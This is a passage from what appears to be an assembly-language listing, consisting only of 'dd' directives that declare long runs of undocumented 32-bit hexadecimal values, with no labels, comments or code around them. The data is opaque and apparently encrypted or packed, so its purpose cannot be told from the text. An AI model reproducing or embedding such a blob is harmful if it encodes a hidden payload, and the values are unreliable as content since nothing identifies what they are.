0FF33536h, 27700CA0h, 2052E4B8h, 66254D19h dd 78DBE454h, 26B96F51h, 0AE448187h, 0D956CFC7h, 90FB06D8h dd 10936C18h, 0BD406272h, 0FC306FFEh, 36235A89h, 0B6BA48B4h dd 5B174356h, 6D106AF6h, 24B91A76h, 0EB54215h, 40814A7h dd 0E8D6E9CBh, 695C6291h, 827E9514h, 48416548h, 0FFD1891Dh dd 0C41A8632h, 4FCF2033h, 96E65469h, 4AEFBA36h, 5CCB82CDh dd 0C3969B40h, 0CEEDD9C0h, 0B5922B27h, 0D2FD5605h, 2EC58BEh dd 7FD66818h, 0B64773D7h, 12C5933h, 912856E5h, 10BDF293h dd 810120DAh, 0C13D1AEEh, 170C8272h, 0C16DF174h, 0D30D34E1h dd 375C797Dh, 1B08D307h, 0A12BB6F2h, 0B869BAF6h, 0C54DE472h dd 0E7315FE8h, 0B8007C7Eh, 4B1C592Fh, 0BA49ADE9h, 88044F07h dd 0ABB5534Ah, 0E759F958h dd 0B9026483h, 85F95D2Fh, 0E9BC6CB8h, 13364CC2h, 35FFC78h dd 20817A8Dh, 7EFD2D58h, 6F3270D7h, 0C81F89F1h, 70E2F859h dd 0F3D07EBAh, 0B0534664h, 2D940944h, 0BDC06F43h, 212E79FFh dd 3C1D1477h, 966E101h, 0B43059CAh, 505F506h, 571F87CCh dd 0F4A58784h, 314091A6h, 0C2C878EEh, 5C5EF301h, 7535C262h dd 68E1CA76h, 0D678544Fh, 3638BDC0h, 0B6B05387h, 53EF20Bh dd 7C110043h, 16646527h, 0A51161E9h, 1A537254h, 0BB606F37h dd 54C6E264h, 0EDBD0189h, 7C5AB905h, 0FA1804C4h, 6842A546h dd 865971B3h, 72D4A88h, 8223E780h, 0B0D97ADFh, 0F92F1D82h dd 0C36EE032h, 73D1358h, 0A8F7A049h, 0D4442912h, 3F9E931Eh dd 0CD014886h, 59088178h, 30C53D28h, 0D2ABA8C3h, 0EF8AFD53h dd 4FC1E908h, 59E35812h, 45077148h, 0DB53BA20h, 0BE01D3E5h dd 7DB27CA8h, 0B75CEF8h, 56671E19h, 708396A9h, 0C088AFC6h dd 0A29C21ECh, 0B10E99Ch, 9F14784Ch, 0C103A068h, 0DFF708EFh dd 1666CFD8h, 4035762Fh, 7F19C781h, 1572F04h, 0ECDA9685h dd 0CDC2B03Ch, 79D72437h, 1D4C0142h, 0F3011551h, 0A0081C41h dd 5548141Ch, 579A055Eh, 89E87D18h, 8036251Eh, 5BDA0937h dd 2190D2F7h, 0DE997209h, 262254D6h, 0D9C52F2Eh, 0C5AF291Fh dd 0B6B3894Fh, 0C4FE256h, 7AB91DAEh, 2F741684h, 0EED0F001h dd 5F89CB5Bh, 9A1B217Eh, 2F00573h, 3EBA9066h, 0FBA775B6h dd 32E180C8h, 0D9A07B91h, 2E6260FEh, 6644A91Fh, 7B1897E6h dd 30591BE9h, 5513745Ah, 0E051F26h, 35872D02h, 0F7C36D85h dd 0E1412553h, 0EFFADE66h, 0DE2CDE5Ch, 9CF00F16h, 8AFDE340h dd 28A8002Bh, 5BBC04F8h, 8EB75CE6h, 60AA9A75h, 0DF05FC9Bh dd 0DB9CDEE1h, 27742CD1h, 0AAB1510Fh, 0E1C060F6h, 690BE903h dd 0AED13059h, 5AEBC781h, 94614FBCh, 80C95E3h, 9705965Dh dd 0E89C1219h, 0AADDB5E7h, 42DC88CEh, 725B58E1h, 748725FCh dd 0D125D372h, 1C0EA412h, 142074F7h, 4082B37Dh, 95221D71h dd 5C960BEEh, 0AF48AA62h, 0E2A51F10h, 4D4B5875h, 8F131731h dd 5E469114h, 9BBB3001h, 340D6AAh, 18B03422h, 6813C5FAh dd 0F46037BBh, 7F7532h, 2DD0F721h, 0DE3756ABh, 0D6582CCAh dd 5FA51F45h, 433720h, 23FEF381h, 0D9897EFFh, 7514E912h dd 508914ACh, 72584A11h, 0DF3E108Dh, 2C96FA4Ch, 0D291BDE0h dd 1A7001ADh, 0EBCEFA50h, 4F46F870h, 105365Bh, 0C842811h dd 1C1314F1h, 749D0C65h, 8717326Eh, 6805A471h, 31E34642h dd 0C453D010h, 0AAF3D488h, 0E13D474Ch, 0CC1089DCh, 555F15F6h dd 182D5866h, 0EB771259h, 3A350738h, 0D2FB292Bh, 6AE8DB26h dd 203941C9h, 0BF6D8EEh, 827822C8h, 0FE33E21Dh, 577B5AC2h dd 0D62040A8h, 0A4E09542h, 0FA0356FEh, 5A712D1Ch, 0E852BDB4h dd 41260999h, 0BD9AC10h, 0BFCC180h, 0EE0FD077h, 60465E0h dd 40F60905h, 57631354h, 0C7C527B4h, 5C0B714Ch, 0D25BD821h dd 0F39C214Fh, 0F2E81C18h, 6D730960h, 3D764401h, 91C3D62h dd 57997267h, 3C40DF24h, 7B763088h, 462C2742h, 0FE932446h dd 506649A4h, 52FA4E42h, 0F9CF336Eh, 0B5F3D23h, 4810F6E9h dd 7E0DEDC3h, 0E0315865h, 0E19A4C92h, 0D29C323Fh, 9974C0Eh dd 0EE4783CEh, 0C58E9780h, 24FDF030h, 5D91568Ch, 7A7C293Eh dd 1A8D6ACh, 0E62552D1h, 9621E215h, 0F2A295A3h, 0BB0035FCh dd 19F53917h, 0DBC3311Bh, 79394158h, 4AA29B3h, 0F31C40BFh dd 16756AEh, 0E93823F2h, 4CA03822h, 562181E8h, 0ADF45EB0h dd 931ADDF0h, 3B17FDh, 3EB55168h, 4439CD80h, 0E531F5FEh dd 0B3ED0B2Dh, 0E107F5F4h, 4FEE427Ah, 0C2F408E9h, 3F9B4C2Fh dd 0A09278BBh, 6B9E0119h, 0D80E7A7Bh, 4B0025CBh, 0DBF70B94h dd 0B6044FE9h, 4AF588F2h, 5C72C0Eh, 0F8E052C8h, 0E2883B5Fh dd 0C2FE5802h, 169C5E9h, 7D1445Ah, 0C376E1CCh, 181D52C0h dd 0E8C9028Fh, 0B409CEB2h, 15B169D3h, 492DA7D2h, 323F81F0h dd 65589F5h, 727BF9Eh, 0D03C1605h, 6242A230h, 9E092DAFh dd 0D939B4FAh, 6CCBA75Bh, 45E9108Ch, 0DDBD003Ch, 812A7F48h dd 0DD963F5h, 5D8AE901h, 801EEA50h, 364B35F6h, 0F1E0A91Eh dd 0E8830BFDh, 0F84DA8E4h, 49725B48h, 53F9D45Ch, 0E83CABF4h dd 71E22768h, 873211E6h, 0E9DE115Bh, 6F3056CAh, 0AF1D4C8Fh dd 0BBCB4C7h, 0C10BB00Eh, 48203989h, 8B1F281h, 7013662Ch dd 2F256E88h, 68A2802Fh, 0CBD21244h, 0D86EB52Ch, 55A8E812h dd 8F8A144Ah, 97605FCBh, 4D0AFCBDh, 992131E6h, 4613F10Bh dd 2377343Ch, 74EFA269h, 0B1347044h, 9D454B64h, 56045E13h dd 6802C005h, 28681B88h, 0D2BE5B75h, 8C1125C2h, 4EFC136Bh dd 0E49F8D72h, 4BC4B598h, 87497B25h, 0C834B262h, 5649CAB6h dd 0A3E90666h, 78323D41h, 892050B1h, 0ACFD07BCh, 4F917B2h dd 8571C7ADh, 1FC8BC82h, 0A2E5535Ah, 0C1872DAEh, 9E7051FAh dd 9DD75B71h, 0D6584C0Eh, 0C453B76Eh, 3AA85A1Ch, 30532AD9h dd 24A9D28h, 48E72038h, 0BD3AEB1h, 0E858CB77h, 0A8F2534Bh dd 344527B5h, 27CB1008h, 0C0D76A02h, 8242A162h, 0ECA5DDF1h dd 0CDA12D12h, 82908C4Eh, 13DCDA5Bh, 88DEBE30h, 0BA00B0C8h dd 6DE23F95h, 42BE5A56h, 68EDE9D1h, 4BA61CC7h, 88690211h dd 0C4E3BCBh, 0A6C04727h, 3F30F84Fh, 0EE28FE01h, 0A0E92508h dd 8B418862h, 31F95261h, 3CD40040h, 5F5E77D2h, 36820752h dd 0FA35EE58h, 3E4C96E0h, 10E54DF6h, 0D99B04Bh, 612F7218h dd 72521986h, 0EE010539h, 0B713EBE9h, 542F7E14h, 99D2C55Ah dd 0E0C07D9Dh, 0DA4CF602h, 146533BCh, 5451B255h, 34B60003h dd 0FEB8CE80h, 206B30E7h, 33C006D9h, 99369525h, 897E9250h dd 0D77565B7h, 0A148AF9Ah, 0C6972837h, 78A95D28h, 346ED74Bh dd 0F5F22502h, 1EC51110h, 10ED952Ch, 0BDEAD057h, 6AEA0892h dd 44A2B5Dh, 0D104DDAFh, 0EAA381EFh, 120F6233h, 0ACE85102h dd 0C4A68A0h, 82654794h, 13101FE9h, 0BB53014Ch, 1A875895h dd 96C2EC20h, 362262B3h, 3E8CFCDCh, 165B1AE5h, 0E112E8C1h dd 0C5A3D799h, 0D5870805h, 8F53C4E9h, 5213D201h, 0D3C9EA88h dd 22E34F5h, 1C5F0940h, 2E598741h, 626F76D9h, 8B82E9FDh dd 67440974h, 0E00E330Bh, 2CE4E032h, 873A4861h, 243DFB03h dd 0CE004643h, 5F35DCFh, 735BDE31h, 0E26B90F7h, 924C2F56h dd 0FE218A00h, 0A0BD4E5Fh, 0F681079Dh, 0D8B617EDh, 8371A00Bh dd 6801C005h, 0AA34665Bh, 81303BE1h, 0EFDF0465h, 8BC12939h dd 0E11776BFh, 0A4026879h, 5966D8E9h, 999FA0C5h, 45E0A4EDh dd 584AA059h, 4B01D6CDh, 407ED1F1h, 20CFEB7Fh, 0BFFFF44Ah dd 40E42DDEh, 0BB6BFB0h, 9158E11h, 48F26CE0h, 9D406624h dd 0E95A5801h, 4037BD8Bh, 0F1E37755h, 382D27E2h, 9DCBDC12h dd 690F216Ch, 0DC858958h, 0AE770BE2h, 21B5EFB0h, 4DF19550h dd 38259BB6h, 2612E6B8h, 0BFB770Bh, 9B64FE54h, 9024ED80h dd 72C6A631h, 0B3682BE9h, 16AA8A4Eh, 552905D5h, 24798C41h dd 84BBB00h, 0F2559D2Eh, 0F3E3C10Ah, 74DECB01h, 0BAAC26DFh dd 15993D5h, 3D43D5FFh, 4B2A0069h, 18366009h, 42A87C05h dd 42F0A0A2h, 51C18812h, 26F7F808h, 0C01A1327h, 68C33082h dd 0F82CFB29h, 5093889Eh, 0E16D790Eh, 95B85B5Dh, 95E00BA5h dd 0BE806315h, 90BFEA2h, 46D6F772h, 133A4B00h, 4E4C3FDFh dd 38E5256Bh, 0BA545127h dd 7115B54Fh, 0DF21E904h, 3993F2F8h, 6112DA7Eh, 0BF22174Eh dd 0F6503704h, 8140C062h, 40003FC7h, 0BA524CB8h, 13481B60h dd 9D70107h, 0A6944555h, 0CF875D17h, 51A29D11h, 680B7ABDh dd 0E3A3110Ah, 126F57DDh, 0A0E3A85Fh, 9611F868h, 8B544555h dd 30AF6035h, 7A2858E7h, 6C492FFCh, 73468120h, 7B769F6h dd 568E9676h, 54F91004h, 91785B09h, 91B66FB8h, 5EE90DECh dd 0D957130Bh, 5AB1979Fh, 694799B4h, 8BDE7937h, 503F74C9h dd 0FE800D94h, 0B8072CFh, 2E7C038h, 0E0464B04h, 0EB24C179h dd 0C5206408h, 7C358702h, 548EE964h, 783310B7h, 309F197Bh dd 0F8F20107h, 10D9CB4h, 0A906E3BBh, 226BE91Eh, 0E0B062DCh dd 111C5D54h, 0A88F6631h, 30A7AC83h, 0E5072A50h, 7147521Bh dd 3576F560h, 0C12AE5EAh, 2BF02128h, 0E0510034h, 0B01E927Dh dd 35C267F4h, 6D450B1Eh, 56371925h, 24E96D51h, 0C65B903Ah dd 29505F58h, 0D5B85E3Ch, 0CBB2664Ch, 5645E148h, 60131230h dd 4C2DCCCFh, 4775F517h, 9466D509h, 0F6C92254h, 0B867A28h dd 2EBE685Fh, 209CBDBh, 0A6E2D1EDh, 0B5B342E4h, 0B2B45000h dd 27E47AD0h, 297149DAh, 0BBC796BCh, 66A1A759h, 96793560h dd 143EB141h, 9CE9F8FEh, 8ACBDB59h, 589282CCh, 0E5107AB9h dd 244B4855h, 889D93E0h, 0C84F973Eh, 5EA55744h, 11D432E8h dd 0B609F8CBh, 67BBB4A0h, 462C8D44h, 533A3D43h, 685509CBh dd 0F64AC2B5h, 0E502C966h, 7909DED6h, 0DDC800h, 79821B0Eh dd 0F698E6C1h, 18BBCE1Dh, 6D083A2Ch, 24024CAh, 0BDC7745h dd 69D6C562h, 0E906299Fh, 427E88Ah, 80A6DC5h, 930AFA73h dd 312708EDh, 0C0235552h, 0C467C469h, 48716884h, 76D0CCB6h dd 6F103153h, 70B87301h, 0FFB91D2Eh, 7692D69Fh, 12B07B1h dd 5D685C6Fh, 4B78735Ah, 2495F4A2h, 9AE987D8h, 95A6094Eh dd 4515D13h, 0D6C74D5Bh, 50242AE5h, 0B534A354h, 0C7D031FAh dd 893E6058h, 41746609h, 0E9E10245h, 7A0D4AC0h, 0CF4C21AFh dd 0ECFF40A5h, 6E102D19h, 0D5BA8165h, 40AC0BF8h, 87AA4EE8h dd 0B040A1F1h, 3E830CDh, 6842B159h, 5317750Eh, 4CC9F819h dd 0E91A6C2Eh, 5826BD26h, 5BAA30E9h, 0F55821Dh, 68DFA165h dd 9F30725Eh, 0B4561669h, 2562403Ah, 0D7F759DEh, 5FEE74FDh dd 5EFC102h, 0FC0AFAE9h, 8A2BD235h, 0E94134D9h, 0A072C3F5h dd 84FBD39Eh, 728F87E2h, 3E7E661Fh, 0E1895160h, 9541FC68h dd 2B267E18h, 8E0CEE5h, 326B48E9h, 0AFA610D9h, 6FA5846h dd 0BA848D48h, 0E976F1B5h, 5451747Fh, 84A4E1A5h, 1C075A09h dd 27577EE7h, 9012AE4Ah, 5B316F44h, 0A97BD121h, 0C5D2E804h dd 28E259CDh, 5B1E0510h, 642988Ah, 0D180D54Fh, 635B9183h dd 2A6B7840h, 5C65D8C5h, 0F9342209h, 2841FA7Bh, 2D59C829h dd 782E07C4h, 2DD05F24h, 0BB5B3011h, 0CBE94F3Fh, 83BA541Dh dd 0C4FAF9F7h, 0F1A2E279h, 74654F47h, 8364E80Dh, 0D9AB79B7h dd 1B6D354Bh, 382DA410h, 17023068h, 0B51C4F09h, 495E1522h dd 63198F0Ah, 37645F7Fh, 5C35CACCh, 0B81060FCh, 0EE4AD147h dd 9B22EEF1h, 2812B873h, 0C1A30397h, 0E9FF6A36h, 0CF127F8Dh dd 7A206B62h, 0D0B92024h, 19F30126h, 8CC35449h, 0D61DC1F5h dd 0ED389495h, 0C173C972h, 0DCAE2E0Ch, 0AFD530B2h, 41DF1E1Ah dd 0D74256h, 0B7685E08h, 0D29FA822h, 8D3ED7A8h, 4027EC3Bh dd 973AF5D8h, 674A0941h, 5781C301h, 60163E91h, 7DB8EDDBh dd 105BDD4Dh, 0C758B23Fh, 0F7D07A89h, 0C3127993h, 718442E6h dd 7038B2EFh, 0F8B055B9h, 0B5161768h, 8318B54Dh, 96FEE90Ch dd 0E3C109A5h, 2B681583h, 0DF27D2Ch, 0E1DD7E1Bh, 0FB320281h dd 0DA850AD4h, 0ACB08D67h, 44638994h, 1E451212h, 0DE74A246h dd 0E909B72Eh, 5FB42518h, 0A6313785h, 61896E68h, 61102EE9h dd 37FCBAC3h, 0CB016614h, 590840BEh, 1301F3FEh, 0E9C0F71Ah dd 302A4B14h, 5BAA6811h, 134F51C4h, 66107EF3h, 696426D4h dd 0D0C20216h, 0DB856AC3h, 99581600h, 0A4163F54h, 56675E0Eh dd 589D4230h, 12619111h, 9614A623h, 307F85A1h, 0B30F66D8h dd 0A7251EA0h, 4815A80h, 826838F2h, 0CF01AF62h, 52B50D7Bh dd 1EE5163Bh, 0A14BCC2Dh, 2996428Ch, 0D0045917h, 52201A9Ch dd 0E927DBB2h, 0ACB9E109h, 0B2F36D9h, 0A5675D70h, 6792E985h dd 8F5AC9B3h, 33680AEEh, 1C6FFB49h, 71D4AD5h, 0AA615BBAh dd 0F412E923h, 3EC4E6F4h, 0E5D0C15Ah, 965C1336h, 6807F00Ch dd 874C4731h, 8B00324Ah, 5A7E5808h, 1D19D831h, 0D2BEAA0Ah dd 0FE525233h, 896B99A0h, 300ADA48h, 39C7D755h, 0F3053D3Bh dd 0FEFBC7F5h, 270B72C6h, 0F9F51377h, 43684302h, 5C7190C9h dd 423AE98Bh, 0CD62C965h, 0BA037A2Ch, 709B0C2Bh, 0CB4A97D2h dd 0FB2700D3h, 2CE98BBBh, 0C180D920h, 0CC4930C9h, 14512DB5h dd 0A80CD330h, 0E608F0D9h, 9DF49058h, 0BA522220h, 0E8093822h dd 96D001F3h, 40E97094h, 0D57701F6h, 7CA0E259h, 0AA5E630h dd 94CA6BEh, 0F329495Fh, 3B8C9282h, 77BC1522h, 0B2C12213h dd 648F631Fh, 1D1D01DAh, 281683A5h, 2FA704D0h, 3F83E19h dd 724B081h, 0EF019DF5h, 78917526h, 0C9982EBBh, 7A0B50A4h dd 0A31614CCh, 81A95B4Eh, 0CCF0CD9Fh, 0E5EC8FF5h, 0C527F379h dd 9722D090h, 0F6046FCAh, 0DCB0E45Bh, 5F60EE6h, 60BDA702h dd 82C3890Dh, 59BE8CA4h, 0D87AE90Eh, 24AD9030h, 9B4D7B68h dd 74A00378h, 0A0DC366Ah, 0E20A04F4h, 9AE7E93Eh, 0D6895A9Dh dd 4224511Eh, 0B9185309h, 606AF0DBh, 6FD2AE25h, 404A426Ch dd 80D87EE4h, 4D138205h, 1269C8h, 8913CCADh, 0A7510BE2h dd 0F581485Eh, 68B753A0h, 0BE64ECEDh, 0BC829501h, 0CFEC6C81h dd 0DEE95F09h, 70622B2Ah, 5E080AF2h, 40186C29h, 93E70ECh dd 0A02008B3h, 6A17A75Ah, 0DE38E2B1h, 4C86BADh, 2D7DBE29h dd 92BF9FE5h, 1AA6021Ah, 3C2DE610h, 18F1A75Dh, 641368E1h dd 0E0C93929h, 8CCB317Fh, 0D93C2833h, 215E484Bh, 925B9CE8h dd 252569Dh, 6D0E75C0h, 2B4B9CC1h, 365DDBCAh, 9509B42Fh dd 801CAE56h, 88537AC3h, 69C394EBh, 6CF1B259h, 20D390A1h dd 16C133AAh, 22E92FB2h, 0B91F34h, 78024D13h, 6841BE56h dd 0AFB80D77h, 0DD736EC4h, 51AB2D03h, 7F6057D2h, 0CE0B0F40h dd 8BD82932h, 0D37DD065h, 0E152AC74h, 986C53B7h, 19742D97h dd 580D9599h, 0D825CBCAh, 2D109FC6h, 0A5252BFEh, 2DDBC042h dd 0CD54268Dh, 0EF821597h, 0F11E9C4Fh, 0B3CEF85Fh, 9EE1D11Ch dd 27C197E9h, 30F5FECh, 44BC920h, 1EC106A8h, 66A1EBD8h dd 4E7CCBF9h, 50F7BA03h, 65D12BB9h, 511582D4h, 0C00B034Fh dd 95A79AEh, 0D6890FB1h, 0F420CC02h, 5C3D6C66h, 1DB54BF6h dd 5868C5FDh, 38DABD00h, 0D53152B0h, 0A03B2E99h, 0E581055Eh dd 0BA32570Bh, 0BDF93501h, 8752BEDFh, 673AC001h, 0E784A8B7h dd 0B82609FCh, 17FC4770h, 3A3FD908h, 26A3219Ah, 7D6A81DEh dd 68E0614Eh, 933C3E39h, 5238BE90h, 8B57B69Dh, 0B84293E9h dd 2EC49EC2h, 0B3E5F120h, 7613BE6Bh, 0A199FCB6h, 456E5DEAh dd 0B7F8D079h, 0CF257BE7h, 5ED524A2h, 0D71A27FEh, 1AC61963h dd 0C55D3C95h, 4186E9DFh, 5BD801F2h, 67273E55h, 0E39044E4h dd 64E3C143h, 12FAE204h, 40075909h, 76B1BEDCh, 97F2C0Ch dd 42CB09F7h, 0A890924Ch, 0DB05EC12h, 0BE1D58E0h, 0DDBE0170h dd 7C263A1Fh, 0C6CE03C4h dd 0B7432A7Fh, 47148850h, 4104985Bh, 2FC9D02Ch, 860816BBh dd 0C102691Bh, 0B2D55955h, 0E85680BAh, 2C19995Bh, 207DD901h dd 0D4CCA208h, 50B47B66h, 17083592h, 0CA522F83h, 3614589Bh dd 8BCF287h, 3AEA811Fh, 0E9889342h, 90F17818h, 92A3EE14h dd 0C7802E65h, 56151259h, 927EE215h, 56735BA1h, 5FA8E450h dd 0CB979858h, 5A2CA140h, 508BC0A0h, 0DDFB1CB0h, 952CA715h dd 4097206Eh, 0D261F763h, 0E76D43C0h, 19E2A420h, 52B74522h dd 4D092EB2h, 0F47E9205h, 0FD7608B8h, 801C5A17h, 0D194502h dd 0CF21E142h, 0CD9EA522h, 2FF7C15Ah, 0A524F48Bh, 36F690BFh dd 90E5CA9Ch, 0DC025040h, 0C3441FB3h, 27268911h, 0BD41E86Ah dd 0E24D9314h, 70F5DF01h, 0CE42598Bh, 0FA27414Eh, 4AE91389h dd 876859C0h, 10756949h, 0B100FBBFh, 8077B30Eh, 282432C3h dd 5012B9CBh, 0AC782420h, 0D1095F9Bh, 6510402Ah, 0FFDB48DBh dd 176AA041h, 2C989813h, 0C84B2568h, 724D7F01h, 25715D34h dd 0CB6F7535h, 0DA503B04h, 0C03E9639h, 0E7BF5776h, 238A0F17h dd 81015BB1h, 3EC97DAEh, 0B8CAB20h, 464AEA09h, 0CE5C672Fh dd 7C9E7D9h, 0DAF74AC0h, 37E95613h, 0C6B74D85h, 1A2CE821h dd 3BB90608h, 89956812h, 0B18C68D7h, 0CB6CA0E9h, 0C97CF04Fh dd 8B58C112h, 0D25651B0h, 8AE2A9D6h, 249725Eh, 7CD1E971h dd 585D0A05h, 0A84242B5h, 0DF890Bh, 455DCD5Dh, 0F5810566h dd 3F2340h, 4B71C580h, 0F7056188h, 38F268D5h, 25ADDB9h dd 0F3815B52h, 5A9366F4h, 2C999407h, 90C79F6h, 137F40F0h dd 46C389C1h, 14820C08h, 0D25BCDEh, 2C3EC9A1h, 544A5612h dd 0A93E3B2h, 0A893191Eh, 4BA79559h, 1B3FA7DDh, 1C5FDD62h dd 9AF2A653h, 17C25B03h, 436A41DCh, 0E27C4133h, 0BA0982D0h dd 96323F6h, 9BFF969Ch, 0EB84E91Ah, 2408A52Bh, 720BB9B9h dd 683F712Dh, 9214F3Ah, 4C293DB5h, 0C815F46h, 0FB78AD59h dd 0C15CE4EEh, 7D1A739Ch, 0E0B0255Dh, 0E688A0h, 0FED6F658h dd 5EEC0C6h, 97B2CEFEh, 445251BEh, 0E66D3776h, 58E30222h dd 1C334ADEh, 9F24F187h, 2EE8300h, 25AB5652h, 5D82B05Eh dd 696082E5h, 6A3D9AB1h, 0C960921Bh, 99A84F57h, 7FA0E34Eh dd 132CFDh, 9E25D1BDh, 0B8EB216Eh, 6C6A9D7Eh, 7F662BA0h dd 2C981451h, 7DD6D926h, 0E2FD72A7h, 770507DEh, 535EF729h dd 16E32844h, 1F42F8C2h, 0BA0166F4h, 5B2D5F9Ah, 10E9903Fh dd 4D09986Ch, 6E4CE4E9h, 2D587C82h, 7A12BD96h, 113DB761h dd 91408D0h, 0B6525482h, 0B4051C95h, 54536268h, 77E2FEF6h dd 0DFE6913Ah, 0C316152Ch, 0B45D07ACh, 0D40FB53Eh, 25F6A846h dd 5A566DFh, 7F21BCBAh, 5EAF017Eh, 612574F6h, 5EFC1461h dd 0E5AF15E8h, 0E1FA8912h, 9C26031h, 98D1EFD2h, 4C062B20h dd 0A055190Ah, 9920DE22h, 3F540883h, 0DA2FE953h, 3EBA5331h dd 1A59E62Dh, 886558A8h, 5A835D8Fh, 5062607h, 173902D1h dd 78403626h, 9F013D99h, 0E9EFD11Fh, 5D27BEFCh, 60CE6813h dd 504BBBABh, 647F9525h, 878BBFF5h, 0BD24950Fh, 1088BCAAh dd 79580E5Bh, 50780630h, 144A5A37h, 0E50555C0h, 45D90E58h dd 0C0B6C521h, 0FFEB44BAh, 2D9CE8F2h, 1EFDC96Bh, 71219835h dd 0FB0443EDh, 0D1BCE234h, 105AA6E4h, 0C15ED4B9h, 119D6DD6h dd 0E63806E5h, 0FE6A4B9Fh, 59CE1CA0h, 794C8E68h, 9504D376h dd 8D92E2DFh, 0F50AE0EDh, 9D631DA1h, 0B8CD8135h, 2E65110Fh dd 2DE953C1h, 8009B33Ch, 4CE22EEBh, 518F3855h, 769670B1h dd 0FD5958CBh, 0FE28921Ch, 0E9CFB505h, 5466D2E1h, 210C9050h dd 706C2632h, 12593BE6h, 3FD6E98Ch, 0C09DEAABh, 0B40C92B2h dd 56336574h, 0C70DF088h, 27631309h, 67E0490Ch, 0F3D6EC2Ch dd 0C168098Fh, 69CF596Eh, 569FBA10h, 0BA67E527h, 5F0C0431h dd 5CB96BCh, 0F0709AD4h, 59ADB85Eh, 424CD8B3h, 9FA7C407h dd 1DECC208h, 612DBB00h, 7D204CB6h, 72A2072Fh, 61C99C82h dd 4991F4D6h, 0DB469B5h, 0B303803Ch, 78F38062h, 2E5A0BD1h dd 3E81C025h, 0D5932133h, 5DF8E4EEh, 4CEB0EC1h, 0A9202203h dd 6A729631h, 2674AAC3h, 128F4E7Bh, 0D349F8DFh, 0C210D6A9h dd 0A7B95C17h, 5626A6E2h, 0BA52E0F9h, 7D0634F2h, 1FA7E90Eh dd 0FEC5059Dh, 4F0DBFD1h, 0CAEE50F5h, 0DE214A70h, 9907C68Bh dd 667183FCh, 23B7C73h, 54352A4h, 0D275E9B5h, 0CC9ABD6Bh dd 30A484DDh, 0FAA5C7B1h, 5C505A3Eh, 471779EDh, 0D8BC774Bh dd 51EE5210h, 5A912F62h, 5C9DE829h, 115127E5h, 8224EFC4h dd 93D4AD65h, 79259868h, 9B7D6360h, 0CA7E287Eh, 0FE2C0102h dd 6166C288h, 9076D0E9h, 0F0BAE912h, 6CBF5EA6h, 5AC2491Dh dd 0F6898493h, 58436528h, 2C7AE0B1h, 56418588h, 1D9AF420h dd 8F1A2C73h, 0CEA0F4F2h, 5AD10157h, 5ED9F726h, 1E554903h dd 8BE1B177h, 806EA4D9h, 2013FD49h, 0CA014812h, 0BBCA95B2h dd 5BDA8A5Bh, 11E94156h, 6D8E6F25h, 9239854Ch, 1B9758C0h dd 4050EA19h, 5EE9A109h, 5A030A7Ah, 99E83Eh, 3A37056h dd 49FC101h, 4BB19BE5h, 0A17C27Bh, 709DBAAh, 50FC7FCBh dd 0BC4BC681h, 29D9D317h, 8F2D8BF2h, 0EF813760h, 3D44DD02h dd 43F78746h, 550805EAh, 0E3203568h, 0A7A10D0h, 4FDDA6Bh dd 5BA2524h, 0C2D5F72Bh, 0DC5CB980h, 6CF7F64Bh, 0D761F70Dh dd 0E4BEE90Bh, 0D3235D3Bh, 0E781D05Eh, 0B5583DDEh, 82222F1Fh dd 87EE8027h, 0F003EAE9h, 665AA004h, 2AA62D68h, 8DB6F123h dd 223A0EEBh, 4D215E2Ch, 0DC6E4DACh, 0CDF8372h, 0D1F29389h dd 685802A9h, 85E67436h, 62D2389Dh, 5451803Dh, 0BEDFB9A0h dd 0F7F8C381h, 580CC099h, 0FE04EEC0h, 0A9BAC667h, 3A1F3E3h dd 4C49C3E1h, 18DA0BCEh, 664F3250h, 257FDC8Ah, 9FD2D325h dd 17C3D420h, 0F05BDD88h, 59801462h, 9DCC7330h, 0E6ED23C8h dd 0EDD0AB80h, 1C7C0A91h, 0EE018DF5h, 28E42C59h, 0E942A547h dd 56E76A4Eh, 0FA6FBB3Ah, 19F91986h, 8B6F92BCh, 3B60D82Bh dd 4394CDFEh, 0B2A7AF4Fh, 70E83712h, 0D6272213h, 1404C645h dd 3AA150E9h, 0E9AB6F64h, 5AD512A2h, 0A9281EF2h, 9947252Ah dd 19527898h, 81395A01h, 16039BC9h, 110D7FE6h, 33994107h dd 29369280h, 0C8899905h, 0A366FA1Dh, 0B10CBE4Fh, 0B5C61157h dd 0A4F2C088h, 0D1AC0DF8h, 7D0C8874h, 35B913C4h, 0A35E84D8h dd 0C7E90C22h, 58B5B117h, 878093CDh, 7A7168F2h, 5CB01DC4h dd 70646D97h, 28FA1380h, 0EBC6F0CEh, 5E701036h, 976D37F5h dd 0E9E801A0h, 33152AF4h, 0CEF8D26Ch, 30CBEACDh, 351ED59Bh dd 95D74A4Eh, 9ED4AFB1h, 0B21AC98h, 64416853h, 5E7242B0h dd 76EBEFF3h, 10F60B4Ch, 0D02D4D7h, 6BE154DEh, 0BFF06AC2h dd 289D8AB8h, 0C502F121h, 74633C54h, 0DAE96273h, 5A124054h dd 0EAB20EECh, 25032014h, 5944055Eh, 0AFC1E8D1h, 0BA030C88h dd 78CB2988h, 2970ECC9h, 1C66FC4Fh, 0D3C8F7Bh, 5D60728Bh dd 8073DEF6h, 8853260Eh, 5BFC44F7h, 0D476ADC3h, 2790B313h dd 4957F9FBh, 0D029406h, 0EB015D1Ch, 2613D9E4h, 2C6939A9h dd 0BE1711C7h, 0D5305CF5h, 0E445036Ah, 3DED8151h, 0D9301EE1h dd 0D027C0E5h, 0E9B04D4Eh, 2FE82E2Ch, 5307005Ah, 0D5310B6Eh dd 374006B2h, 0F44B521h, 0CE26D827h, 0A4C55804h, 4E03A25Bh dd 8CEC2C64h, 0DC21EEF4h, 357C9783h, 7F6BE083h, 0E7A2993h dd 580A2C54h, 200CE917h dd 985018A4h, 326C315Dh, 0F15EF313h, 1C2720D9h, 0A726C5B7h dd 0FE203851h, 876FE258h, 174011E7h, 0BFBCE81h, 467C6231h dd 0DF47600h, 212494FFh, 7F09C8F5h, 89D179C4h, 0DBD93497h dd 769F6809h, 546D6CE9h, 30D3FBDFh, 9DFD4AE4h, 895FF201h dd 0ED9F42DFh, 23904766h, 0BF10A660h, 0BF7A013h, 5FFD29E7h dd 20928EDEh, 0CB6AA7A1h, 5E7259DBh, 0ABB6398h, 2AC4213Eh dd 184808D6h, 6106B800h, 257897h, 2C6E07E5h, 0FC72A735h dd 0D0F71E12h, 352BC16h, 0CAD37EF3h, 7854252Dh, 2236B39Fh dd 17E5F817h, 0C24CB90Dh, 5C50CCB1h, 90EA6797h, 0E96B4083h dd 0E7031529h, 550E688Eh, 5B94C3Eh, 5E74AB3Eh, 0EFB02CEBh dd 2C77CEB5h, 8B9BFCA8h, 